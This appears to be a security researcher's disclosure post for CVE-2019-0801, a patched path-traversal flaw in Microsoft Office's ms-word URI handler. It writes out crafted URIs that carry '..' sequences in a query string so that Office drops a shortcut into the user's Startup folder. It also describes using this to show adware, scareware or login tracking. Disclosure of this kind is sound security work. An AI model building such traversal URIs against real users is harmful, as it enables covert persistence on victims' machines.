CVE-2019-0801: Microsoft Office Uri Hyperlink Hijinks

In December of 2018, we received a report of a vulnerability in Microsoft Office from Andrea Micalizzi, also known as rgod, who is one of our frequent contributors. It was patched this April as CVE-2019-0801, and now we’d like to share the full details with you.

A somewhat obscure fact about Microsoft Office is that when installed, it registers handlers for various URI schemes. They are documented here. In general, these URI schemes can be used to launch Office applications from the browser. In particular, we’ll be interested in URIs having these formats:

ms-word:ofe|u|<argument>
ms-excel:ofe|u|<argument>
ms-powerpoint:ofe|u|<argument>

The command ofe instructs the browser to open an Office document for editing. There is also a command ofv, meaning “open a document for viewing”, and it works in the same way. In either case, < argument> is a URI that references the Office document to be opened. Typically, this will be an http: or https: URI that fetches the document from a web server.

For example, navigating to the following URI will open a Word document retrieved from example.com:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx

When navigating from a web browser, the browser will first warn of an external program being opened. For example, on Internet Explorer, the warning looks like this:

If the user allows the operation to proceed, then Microsoft Word will launch. Microsoft Word will retrieve the document from the specified website (example.com), save it in a file with a randomized name in a temporary folder named %LOCALAPPDATA%\Temp\OICE_16_974FA576_32C1D314_xxxx\, where xxxx are four random hex digits, and then proceed to open the document for editing.

What will interest us is some additional file activity that occurs. Besides saving a temporary copy of the document as described above, the Office application will also record the document as one of the user’s recently-opened documents by creating two link files, as follows. Since the origin of the document is an internet location, in this case Office will create Internet Shortcut (.url) files:

[InternetShortcut]
URL= http://example.com/SomePath/SomeDoc.docx

Contents of C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx.url

[InternetShortcut]
URL= http://example.com/SomePath/

Contents of C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomePath on example.com.url

As you can see, the first of these files is a shortcut to the document’s location on the internet, and the second is a shortcut to the path leading up to that location. Each .url file is given a descriptive name. For example, the first file shown above is named SomeDoc.docx.url.

The trouble arises when the original URL contains a query string following the filename. In that case, when Microsoft Office builds the name for the .url file that points to the document, it will try to incorporate the entire query string into the shortcut filename. For example, if the user navigates to this URI:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm

then Office will attempt to create the file C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm.url. This will fail, because Windows does not allow a ? character to appear in a filename.

Ah, but what if we put some directory traversal characters into the query string:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm/../blah

In this case, the path that Microsoft Office will assemble is C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm\..\blah.url. This succeeds, because the directory traversal cancels out the invalid path element SomeDoc.docx?hmm. The final file created will be C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\blah.url.

Now that we have directory traversal working, though, this gives us the additional ability to place the file in a wrong location. A natural choice for causing some havoc would be C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, because anything saved in that folder is launched automatically every time the user logs in. To reach that location we just need to supply a two more levels of directory traversal to arrive at the C:\Users\<username>\AppData\Roaming\Microsoft directory, and then supply the remainder of the path:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?\..\..\..\Windows\Start Menu\Programs\Startup\w00t

This will create the file C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w00t.url. That shortcut file will then be launched every time the user logs in. Nice! Notice that the attacker did not even need to obtain the victim’s Windows username in order to construct this path. Instead the attacker can piggyback on the base path supplied by Office, which conveniently already includes the necessary root C:\Users\<username>\.

Impact

The ultimate impact of this vulnerability is not so clear. On the surface it would seem that impact is fairly low. The .url file created within the user’s Startup folder will be launched on every subsequent login, but that .url file simply points to the original Office document that was loaded originally.

Examining the situation more closely, though, I realized that even though the URI that will be requested on each login will be the same URI used to retrieve the original document, that does not mean that the content delivered by the attacker’s server must be the same. In fact, nothing constrains the attacker’s server to respond with an Office document at all. Even though the “extension” in the URL might read docx, the server is still free to respond with any Content-type that the attacker so wishes. For example, the attacker could respond with an HTML document:

The HTML document and the script it contains will be rendered every time the user logs in. The most immediate applications of this ability are for adware and scareware. Perhaps more insidiously, however, the attacker gains the ability to be notified, in real time, every time the victim logs in. To avoid arousing suspicion, a redirection to a harmless page such as about:blank could be used.

Conclusion

Microsoft patched this bug with their April release, and at the time, they gave it their highest Exploit Index rating. Vulnerabilities of this nature may be used by both sophisticated and inexperienced attackers alike. Finding and abusing “features” within Office documents that evade antivirus and other endpoint detections can be quite valuable. Office documents with embedded Kodak FlashPix file format (FPX) images were a vector in recent spear phishing attacks against U.S. firms. Thanks to the ubiquity of the Microsoft Office suite, we will likely see attackers continue to mine it for potential exploits and weaknesses.

You can find me on Twitter at @HexKitchen, and follow the team for the latest in exploit techniques and security patches.